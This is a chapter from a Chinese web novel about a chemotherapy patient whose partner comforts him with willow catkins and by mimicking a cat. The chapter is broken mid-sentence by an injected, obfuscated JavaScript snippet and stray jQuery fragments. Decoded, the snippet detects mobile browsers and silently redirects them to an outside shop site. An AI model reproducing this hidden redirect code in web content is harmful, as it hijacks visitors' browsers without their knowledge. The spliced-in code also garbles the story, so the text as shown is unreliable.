文趣网 > 都市小说 > 何止漫长 > 74. 苦
    第十三次化疗后的第三天,苌斓开始拒绝进食。不是不想吃,是吃不下。他把忘海煮的粥端起来闻了闻,又放下,说闻着很香,但一咽下去就像在咽沙子。忘海把粥换成梨汤,他还是喝不下去。又换成豆浆,磨了三遍,红枣去了核,还是只喝了一口就放下。他说嘴里全是金属味,吃什么都是苦的。

    忘海没有勉强他,只是把豆浆放回保温杯里温着,然后在他旁边坐下来,说,不吃东西没关系,那看我一眼好不好。苌斓侧过头看着他。忘海坐在病床边,两只手放在膝盖上,忽然歪了一下头——那个动作很轻很轻,像一只大猫在疑惑地打量什么。他的眼睛本来就大,歪头的时候眼尾微微上挑,睫毛在灯光下投下一小片阴影。苌斓愣了一下,然后嘴角极淡极淡地动了一下。他说,你在干什么。忘海又歪了一下头,这次往另一边歪,眼睛眨了眨,说在学你——你以前每次看到流浪猫都会歪头,猫也歪头看你,你们俩就这样对着歪,歪很久。

    苌斓没有说话。他想起很久以前,在书店后巷第一次发现小灰的时候,那只灰白相间的小猫也是这样歪着头看他。他的眼眶忽然有些热,但他没有哭,只是伸出手轻轻碰了碰忘海的头发。忘海的头发很软,和以前一样软。他说,你学得不像,猫的耳朵会动,你的耳朵不会动。忘海说会动,然后努力让自己的耳朵动了一下——其实根本没动,只是皱了一下眉头。苌斓看着他认真的样子,嘴角又动了一下,说骗人,根本没动。忘海说动了,你再看一次。他又皱了一下眉头,苌斓看着他皱成一团的眉毛,终于极轻极轻地笑了一声。那声笑很轻很轻,像一片落在水面上的梧桐叶,但忘海听到了。

    那天下午,苌斓靠在病床上,闭着眼睛,呼吸很浅。忘海轻声问他有没有什么想要的东西。苌斓想了想,说想看雪。可是现在是春天,外面梧桐树正在发芽,玉兰花都开了,没有雪。忘海走到窗前,背对着苌斓,双手撑在窗台上。窗外阳光很好,梧桐树的新叶在风里轻轻晃动。忽然有一片白色的东西从窗口飘进来——不是雪,是柳絮。一团一团,软软的,白白的,被春风吹得漫天飞舞。他伸出手,接住了一团,放在掌心里轻轻吹向病床。柳絮飘飘悠悠地落在苌斓的被子上,落在他的掌心里,落在他的睫毛上。

    苌斓睁开眼睛,看着满屋子飘着的柳絮,又看了看站在窗前的忘海。忘海逆着光站在窗口,春天的阳光给他整个人镀上了一层淡金色的轮廓。他说,没有雪,柳絮行不行。苌斓接住一团柳絮,看着它在掌心里慢慢散开。他说,行。柳絮比雪轻,落在身上不凉。忘海又接了一团放在他手心里,说,那以后每年春天都给你下柳絮雪。苌斓说好。

    可是柳絮飘完之后,苌斓又陷入了沉默。他靠在床头,看着窗外梧桐树的新叶,眼神空空的,不知道在想什么。化疗的副作用像潮水一样反复冲刷着他——恶心、疼痛、发烧、口腔溃烂,每一种都让他筋疲力尽。他说自己不想再撑了。十二次化疗已经用光了他所有的力气,这次是第十三次,也许还有第十四次、第十五次,看不到尽头。他不是怕疼,是怕没有尽头。

    忘海沉默了一会儿,然后站起来,走到病床的另一侧,背对着苌斓,双手撑在床沿上。他的肩膀轻轻耸了一下,然后整个人忽然缩小了——不是真的缩小,是姿态变了:脊背微微弓起,肩膀往里收,手指蜷起来搭在床沿上,像两只毛茸茸的爪子。他侧过头,下颌微微扬起,眼睛半眯着,用一种很轻很软的语调说,喵。

    苌斓愣住了。他看着忘海——这个活了一百多世、看过王朝覆灭、经历过无数生离死别的人,此刻正趴在病床边,歪着头,对他学猫叫。他说你干什么。忘海没有回答,只是又往前探

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724430|208790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了探身子,用额头轻轻蹭了蹭苌斓放在被子上的手背。那个动作和小灰每次蹭他手背时一模一样——先用额头顶一下,然后顺着他的手背往手臂上蹭过去,最后把下巴搁在他掌心里。他的头发蹭过苌斓的指尖,软软的,有些痒。

    苌斓低下头,看着忘海的发旋。他伸出手,轻轻摸了摸忘海的头发。忘海的头发很软,和小灰的毛一样软。他说你学猫叫学得不像,但蹭手背的动作还挺像的。忘海抬起头看着他,说小灰以前就是这样蹭你的,每次蹭完你都会笑。苌斓的手停在忘海头发上没有拿开,说我记得——小灰蹭完之后会翻过身来,把肚皮露出来让我挠。忘海说这个他也会,然后作势要翻身。苌斓按住他的肩膀,说不要,太傻了。

    忘海没有翻身,只是把脸埋进苌斓的掌心里,轻轻蹭了蹭。苌斓感觉到他的睫毛在自己掌心里轻轻扫过,痒痒的,像柳絮落在掌心上。他说忘海,你不用这样逗我开心。忘海说不是为了逗他开心,只是想让他知道——很多年以前第一次在天台上看到苌斓的时候,就觉得他像一只流浪猫,浑身是伤,把所有人都推开,但对一只脏兮兮的小猫却会蹲下来把自己仅有的半根火腿肠掰成小块放在它面前。从那天起他就想,这个人他守定了。现在这只流浪猫已经变成家猫了,会每天准时磨豆浆,包饺子捏十二个褶子,把围巾织得歪歪扭扭。他觉得很骄傲。

    苌斓看着忘海,很久没有说话。窗外柳絮还在飘,一团一团从窗口涌进来,落在他们身上,也落在忘海的头发上。苌斓伸手把忘海头发上沾着的柳絮轻轻拂掉。他说,嗯,做你的猫。下辈子要是还能遇到,还是做你的猫。这辈子剩下的时间不多,但他不想再愁眉苦脸地过了——既然春天来了,柳絮在飘,梧桐树在发芽,有一个愿意趴在他床边学猫叫的人,那就好好地、用力地过完剩下的每一天。